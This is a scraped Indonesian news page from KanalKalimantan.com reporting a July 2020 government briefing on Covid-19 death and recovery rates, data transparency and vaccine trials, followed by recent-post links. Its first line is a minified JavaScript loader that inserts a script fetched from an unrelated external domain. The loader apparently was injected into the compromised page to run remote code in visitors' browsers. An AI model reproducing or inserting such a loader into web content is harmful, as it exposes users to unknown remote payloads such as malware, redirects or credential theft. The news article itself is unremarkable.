(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Pemerintah: Kematian Akibat Covid-19 Menurun, Kesembuhan Meningkat


KANALKALIMANTAN.COM, JAKARTA – Persentase kematian akibat Covid-19 di Indonesia mendekati rata-rata dunia. Meski begitu pemerintah mengklaim, persentase tersebut sudah jauh menurun dibanding beberapa bulan lalu.

Juru Bicara Pemerintah Satgas Penanganan dan Percepatan Covid-19 Prof Wiku Adisasmito mengatakan persentase kematian akibat virus corona di Indonesia sudah mendekati rata-rata dunia yaitu 4,2 persen. Persentase tersebut, klaim Wiku terus menurun dibandingkan pada Maret lalu.

Dijelaskannya pada Mare,t persentase kematian maksimum mencapai 9,34 persen sedangkan rata-rata dunia 4,89 persen pada Juni, persentase menjadi 6,09 persen sementara rata-rata dunia 5,56 persen.

 

Baca juga :

“Pada Juli ini maksimum sudah turun cukup banyak yakni 5,08 persen dan rata-ratanya 4,86 persen. Sedangkan angka kematian dunia adalah 4,2 persen. Jadi Indonesia sudah mendekati rata-rata dunia,” ujar Wiku dalam telekonferensi pers di Istana Kepresidenan Jakarta, Jumat (24/7).

Wiku mengatakan, penurunan persentase ini terjadi karena pemerintah melakukan segala perbaikan dalam infrastruktur kesehatan, termasuk penambahan rumah sakit (RS) rujukan Covid-19 yang mencapai 839 di seluruh Indonesia, penambahan ruang isolasi menjadi 23.519, dan penambahan tempat tidur menjadi 188.510. Selain itu, katanya, manajemen kasus pasien juga telah semakin baik.

Salah satu rumah sakit rujukan penanganan covid-19 di Jawa Tengah, Jumat, 13 Maret 2020. Foto: VOA/Yudha Satriawan

Lebih lanjut, Wiku menjelaskan menurunnya persentase kematian juga diiringi dengan meningkatnya persentase kesembuhan pasien Covid-19. Pada April persentase kesembuhan hanya mencapai 9,79 persen, sementara pada Juli persentase kesembuhannya mencapai 47,08 persen.

Pemerintah Tidak Akan Tutupi Data Covid-19

Seperti diketahui, pemerintah meniadakan konferensi pers harian data terkini Covid-19. Kini, data tersebut hanya bisa dilihat melalui portal www.covid19.go.id setiap pukul 16.00WIB. Pihaknya, kata Wiku akan berusaha menyajikan data terkait Covid-19 secara real time.

“Kami berharap pada masa yang akan datang, data-data ini dapat diakses oleh masyarakat secara real time. Kami sedang berusaha keras agar betul-betul data ini bisa diakses dengan realtime. Dan datanya tidak berbeda antara data nasional dengan data di daerah. Tidak ada maksud untuk menutup-nutupi data. Mari kita dorong transparansi publik dan silakan masyarakat ikut mengontrol apabila ada kondisi yang tidak sesuai dengan sebenarnya,” ujar Wiku.

Dalam kesempatan ini, Wiku juga sempat menyinggung kendala dalam usaha menyajikan data pasien positif secara real time. Ia mengatakan panjangnya antrean uji laboratorium, pelaporan dari daerah ke Kementerian Kesehatan. dan proses validasi dan verifikasi di Kementerian Kesehatan belum maksimal.

Baca juga :

 

Pemerintah Berusaha Membuat Vaksin Covid-19 yang Aman, Tepat dan Cepat

PT Bio Farma (persero) sedang melakukan tahap III uji klinis bekerja sama dengan Sinovac Biotech Ltd dari China. Pihak swasta seperti PT Kalbe Farma pun, kata Wiku juga sedang berusaha dalam pencarian vaksin tersebut.

Lanjut Wiku, pemerintah akan senantiasa menjamin bahwa vaksin yang tersedia nanti terbukti aman, tepat dan cepat.

Aman yang dimaksud Wiku adalah vaksin tersebut harus mampu memberikan perlindungan dan tidak menimbulkan efek samping. Selain itu, vaksin tersebut harus tepat dalam artian bisa menimbulkan kekebalan spesifik pada virus yang beredar di Indonesia.

“Ketiga, harus cepat. Karena kondisi yang dihadapi oleh dunia termasuk Indonesia kita harus betul-betul cepat untuk bisa melindungi rakyat Indonesia maka dari itu harus dilakukan seluruh ujinya, termasuk uji klinis bisa terlaksana dengan cepat tapi juga benar. Terakhir, dalam konteks cepat, harus bisa diproduksi juga dengan baik dan dalam jumlah yang memadai untuk betul-betul dapat memberikan vaksin kepada seluruh rakyat Indonesia,” jelasnya. (gi/ab)

 

Reporter : Ghita
Editor : VOA

Desy Arfianty

Recent Posts

Nurkhalis Anshari Menuju Pilwali Banjarbaru ‘Bergantung’ Poros Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Proses lobi politik terus dilakukan kader Partai Keadilan Sejahtera (PKS) Nurkhalis Anshari… Read More

7 jam ago

8 Nama Masuk Penjaringan DPC PKB Banjarbaru, Ada Ayah dan Anak dari Golkar

KANALKALIMANTAN.COM, BANJARBARU – Partai Kebangkitan Bangsa (PKB) pemilik 3 kursi di DPRD Kota Banjarbaru 2024-2029… Read More

8 jam ago

Jembatan Simpang 3 Lingkar Utara Banjarbaru Ditutup Sampai Akhir Tahun, Begini Pengalihan Lalin ke Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Pengendara yang biasa melewati akses jembatan simpang tiga jalan Lingkar Utara, Kota… Read More

11 jam ago

Pilgub Kalsel 2024 Dipastikan Tanpa Pasangan Non Partai

Pendaftar Jalur Independen Pilkada di Kalsel Hanya 4 Daerah Read More

13 jam ago

Upah Dipotong untuk Tapera, Cuit Soleh Solihun Bikin Pekerja Ketar-ketir

KANALKALIMANTAN.COM, JAKARTA - Publik di platform sosial media tengah ramai membahas perihal pemotongan upah pekerja… Read More

13 jam ago

Kenaikan UKT Ditunda Mahasiswa Jangan Senang Dulu, Menunda Belum Membatalkan!

KANALKALIMANTAN.COM, JAKARTA - Politikus PDI Perjuangan Adian Napitupulu menyebut mahasiswa telah berhasil membuat semua orang… Read More

13 jam ago

This website uses cookies.